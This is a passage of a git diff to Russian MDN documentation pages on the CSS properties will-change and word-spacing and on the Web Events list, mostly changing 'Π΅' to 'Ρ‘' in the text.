+ <p><em>НС примСняйтС will-change ΠΊ элСмСнтам для выполнСния ΠΏΡ€Π΅ΠΆΠ΄Π΅Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ</em>. Если ваша страница Ρ…ΠΎΡ€ΠΎΡˆΠΎ отрабатываСтся, Π½Π΅ примСняйтС <code>will-change</code> свойство ΠΊ элСмСнту Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΆΠ°Ρ‚ΡŒ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ большС скорости. <code>will-change</code> ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для использования Π² ΠΊΡ€Π°ΠΉΠ½Π΅ΠΌ случаС, для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ. Π•Π³ΠΎ Π½Π΅ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для прСдвидСния ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ. Π§Ρ€Π΅Π·ΠΌΠ΅Ρ€Π½ΠΎΠ΅ использованиС <code>will-change</code> ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊΒ ΠΈΠ·Π»ΠΈΡˆΠ½Π΅ΠΌΡƒ ΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΡŽ памяти и Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ тяТёлый Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΈΡ‚ΡŒΡΡ ΠΊ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ измСнСниям. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ΡƒΡ…ΡƒΠ΄ΡˆΠ΅Π½ΠΈΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ.</p>
</li>
<li>
- <p id="Give_it_sufficient_time_to_work"><em>Π”Π°ΠΉΡ‚Π΅ Π΅ΠΌΡƒ достаточно Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ</em>. Π­Ρ‚ΠΎ свойство Π΄Π°Π΅Ρ‚ Π°Π²Ρ‚ΠΎΡ€Ρƒ способ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌΡƒ Π°Π³Π΅Π½Ρ‚Ρƒ свойства, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΡΡ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ.Β Π—Π°Ρ‚Π΅ΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для измСнСния свойств Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠΎΠ³Π΄Π° эти свойства измСнятся.Β ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π²Π°ΠΆΠ½ΠΎ Π΄Π°Ρ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя, Ρ‡Ρ‚ΠΎΠ±Ρ‹ провСсти ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡŽ. НайдитС способ ΠΏΡ€Π΅Π΄ΡΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ хотя Π±Ρ‹ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π·Π°Ρ€Π°Π½Π΅Π΅, Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ измСнится, ΠΈ Π·Π°Ρ‚Π΅ΠΌ установитС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅.</p>
+ <p id="Give_it_sufficient_time_to_work"><em>Π”Π°ΠΉΡ‚Π΅ Π΅ΠΌΡƒ достаточно Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ</em>. Π­Ρ‚ΠΎ свойство Π΄Π°Ρ‘Ρ‚ Π°Π²Ρ‚ΠΎΡ€Ρƒ способ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌΡƒ Π°Π³Π΅Π½Ρ‚Ρƒ свойства, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΡΡ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ.Β Π—Π°Ρ‚Π΅ΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для измСнСния свойств Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠΎΠ³Π΄Π° эти свойства измСнятся.Β ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π²Π°ΠΆΠ½ΠΎ Π΄Π°Ρ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя, Ρ‡Ρ‚ΠΎΠ±Ρ‹ провСсти ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡŽ. НайдитС способ ΠΏΡ€Π΅Π΄ΡΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ хотя Π±Ρ‹ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π·Π°Ρ€Π°Π½Π΅Π΅, Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ измСнится, ΠΈ Π·Π°Ρ‚Π΅ΠΌ установитС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅.</p>
</li>
</ul>
@@ -58,7 +58,7 @@ will-change: unset;</code></pre>
<dt><code>contents</code></dt>
<dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π°Π²Ρ‚ΠΎΡ€ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Ρ‡Π΅Π³ΠΎ Ρ‚ΠΎ Π² ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π΅ элСмСнта Π² блиТайшСм Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ.</dd>
<dt>{{cssxref("custom-ident", "&lt;custom-ident&gt;")}}</dt>
- <dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π°Π²Ρ‚ΠΎΡ€ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ свойства с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ Π² элСмСнтС Π² блиТайшСм Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ . Если Π·Π°Π΄Π°Π½Π½ΠΎΠ΅ свойство-это сокращСнная запись, Β Ρ‚ΠΎΠ³Π΄Π° ΠΎΠ½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° всС ΠΏΠΎΠ»Π½Ρ‹Π΅ записи свойств, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ сокращСнная запись. Π­Ρ‚ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ: <code>unset</code>, <code>initial</code>, <code>inherit</code>, <code>will-change</code>, <code>auto</code>, <code>scroll-position</code>, ΠΈΠ»ΠΈΒ <code>contents</code>.Β </dd>
+ <dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π°Π²Ρ‚ΠΎΡ€ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ свойства с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ Π² элСмСнтС Π² блиТайшСм Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ . Если Π·Π°Π΄Π°Π½Π½ΠΎΠ΅ свойство-это сокращённая запись, Β Ρ‚ΠΎΠ³Π΄Π° ΠΎΠ½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° всС ΠΏΠΎΠ»Π½Ρ‹Π΅ записи свойств, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ сокращённая запись. Π­Ρ‚ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ: <code>unset</code>, <code>initial</code>, <code>inherit</code>, <code>will-change</code>, <code>auto</code>, <code>scroll-position</code>, ΠΈΠ»ΠΈΒ <code>contents</code>.Β </dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/css/word-spacing/index.html b/files/ru/web/css/word-spacing/index.html
index 0bd210c64b..495aa1889c 100644
--- a/files/ru/web/css/word-spacing/index.html
+++ b/files/ru/web/css/word-spacing/index.html
@@ -37,7 +37,7 @@ word-spacing: unset;
<dl>
<dt><code>normal</code></dt>
- <dd>ΠΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π» ΠΌΠ΅ΠΆΠ΄Ρƒ словами, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠΌ ΠΈ/ΠΈΠ»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ.</dd>
+ <dd>ΠΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π» ΠΌΠ΅ΠΆΠ΄Ρƒ словами, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠΌ ΠΈ/ΠΈΠ»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ.</dd>
<dt>{{cssxref("length")}}</dt>
<dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π» Π² Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΌΡƒ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Ρƒ ΠΌΠ΅ΠΆΠ΄Ρƒ словами, опрСдСляСмому ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠΌ.</dd>
<dt>{{cssxref("percentage")}}</dt>
@@ -71,7 +71,7 @@ word-spacing: unset;
<p>Π‘ΠΎΠ»ΡŒΡˆΠΎΠ΅ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΈΠ»ΠΈ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>word-spacing</code> ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ прСдлоТСния, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ примСняСтся ΡΡ‚ΠΈΠ»ΡŒ, Π½Π΅Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹ΠΌΠΈ.Β  Для тСкста, стилизованного с ΠΎΡ‡Π΅Π½ΡŒ большими ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ значСниями, слова Π±ΡƒΠ΄ΡƒΡ‚ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅ΠΊΠΈ Π΄Ρ€ΡƒΠ³ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³Π°, Ρ‡Ρ‚ΠΎ ΠΎΠ½ большС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ. Для тСкста, стилизованного с ΠΎΡ‡Π΅Π½ΡŒ большими ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ значСниями, слова Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³Π° Π΄ΠΎ Ρ‚ΠΎΡ‡ΠΊΠΈ, Π³Π΄Π΅ Π½Π°Ρ‡Π°Π»ΠΎ ΠΈ ΠΊΠΎΠ½Π΅Ρ† ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ слова Π±ΡƒΠ΄ΡƒΡ‚ Π½Π΅Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠΌΡ‹.</p>
-<p>Π Π°Π·Π±ΠΎΡ€Ρ‡ΠΈΠ²Ρ‹ΠΉ <code>word-spacing</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΌ случаС, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ сСмСйства ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½ΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ символов. НСт Π½ΠΈ ΠΎΠ΄Π½ΠΎΠ³ΠΎ значСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ для всСх сСмСйств ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² автоматичСскоС сохранСниС разборчивости.</p>
+<p>Π Π°Π·Π±ΠΎΡ€Ρ‡ΠΈΠ²Ρ‹ΠΉ <code>word-spacing</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΌ случаС, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ сСмСйства ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½ΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ символов. НСт Π½ΠΈ ΠΎΠ΄Π½ΠΎΠ³ΠΎ значСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ для всСх сСмСйств ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² автоматичСскоС сохранСниС разборчивости.</p>
<ul>
<li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
@@ -92,7 +92,7 @@ word-spacing: unset;
<tr>
<td>{{SpecName('CSS3 Text', '#propdef-word-spacing', 'word-spacing')}}</td>
<td>{{Spec2('CSS3 Text')}}</td>
- <td>ЗамСняСт ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>&lt;spacing-limit&gt;</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ опрСдСляСт Ρ‚Π΅ ΠΆΠ΅ Π²Π΅Ρ‰ΠΈ, плюс Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>&lt;percentage&gt;</code>. ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΎ Ρ‚Ρ€Π΅Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΡ… ΠΎΠΏΡ‚ΠΈΠΌΠ°Π»ΡŒΠ½ΠΎΠ΅, минимальноС ΠΈ максимальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</td>
+ <td>ЗамСняСт ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>&lt;spacing-limit&gt;</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ опрСдСляСт Ρ‚Π΅ ΠΆΠ΅ Π²Π΅Ρ‰ΠΈ, плюс Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>&lt;percentage&gt;</code>. ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΎ Ρ‚Ρ€Ρ‘Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΡ… ΠΎΠΏΡ‚ΠΈΠΌΠ°Π»ΡŒΠ½ΠΎΠ΅, минимальноС ΠΈ максимальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</td>
</tr>
<tr>
<td>{{SpecName('CSS3 Transitions', '#animatable-css', 'word-spacing')}}</td>
diff --git a/files/ru/web/events/index.html b/files/ru/web/events/index.html
index c760122766..a796d5ade0 100644
--- a/files/ru/web/events/index.html
+++ b/files/ru/web/events/index.html
@@ -15,7 +15,7 @@ translation_of: Web/Events
<p>Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ содСрТит список событий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹; Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ стандартныС события ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ события ΡΠ²Π»ΡΡŽΡ‚ΡΡ спСцифичными для ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ². Для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, Π² спискС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Ρ‹ спСцифичСскиС для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Mozilla события, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ add-ons для взаимодСйствия с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ.</p>
-<h2 id="НаиболСС_распространСнныС_ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ">НаиболСС распространСнныС ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ</h2>
+<h2 id="НаиболСС_распространённыС_ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ">НаиболСС распространённыС ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ</h2>
<table class="standard-table">
<caption>
@@ -294,7 +294,7 @@ translation_of: Web/Events
<tbody>
<tr>
<td>{{Event("fullscreenchange")}}</td>
- <td>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅Π²Π΅Π΄Π΅Π½ Π² полноэкранный Ρ€Π΅ΠΆΠΈΠΌ ΠΈΠ»ΠΈ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π² Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π΅ΠΆΠΈΠΌ.</td>
+ <td>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅Π²Π΅Π΄Ρ‘Π½ Π² полноэкранный Ρ€Π΅ΠΆΠΈΠΌ ΠΈΠ»ΠΈ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π² Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π΅ΠΆΠΈΠΌ.</td>
</tr>
<tr>
<td>{{Event("fullscreenerror")}}</td>
@@ -386,7 +386,7 @@ translation_of: Web/Events
</tr>
<tr>
<td>{{Event("dblclick")}}</td>
- <td>На элСмСнтС Π΄Π²Π°ΠΆΠ΄Ρ‹ щСлкаСтся ΠΊΠ½ΠΎΠΏΠΊΠ° ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ устройства.</td>
+ <td>На элСмСнтС Π΄Π²Π°ΠΆΠ΄Ρ‹ щёлкаСтся ΠΊΠ½ΠΎΠΏΠΊΠ° ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ устройства.</td>
</tr>
<tr>
<td>{{Event("mousedown")}}</td>
@@ -394,11 +394,11 @@ translation_of: Web/Events
</tr>
<tr>
<td>{{Event("mouseenter")}}</td>
- <td>Π£ΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ устройство ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΎ Π½Π° элСмСнт, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ.</td>
+ <td>Π£ΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ устройство ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΎ Π½Π° элСмСнт, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ.</td>
</tr>
<tr>
<td>{{Event("mouseleave")}}</td>
- <td>Π£ΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ устройство пСрСмСщаСтся ΠΎΡ‚ элСмСнта, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ.</td>
+ <td>Π£ΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ устройство пСрСмСщаСтся ΠΎΡ‚ элСмСнта, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ.</td>
</tr>
<tr>
<td>{{Event("mousemove")}}</td>
@@ -408,11 +408,11 @@ translation_of: Web/Events
<td>
<h5 id="Eventmouseover">{{Event("mouseover")}}</h5>
</td>
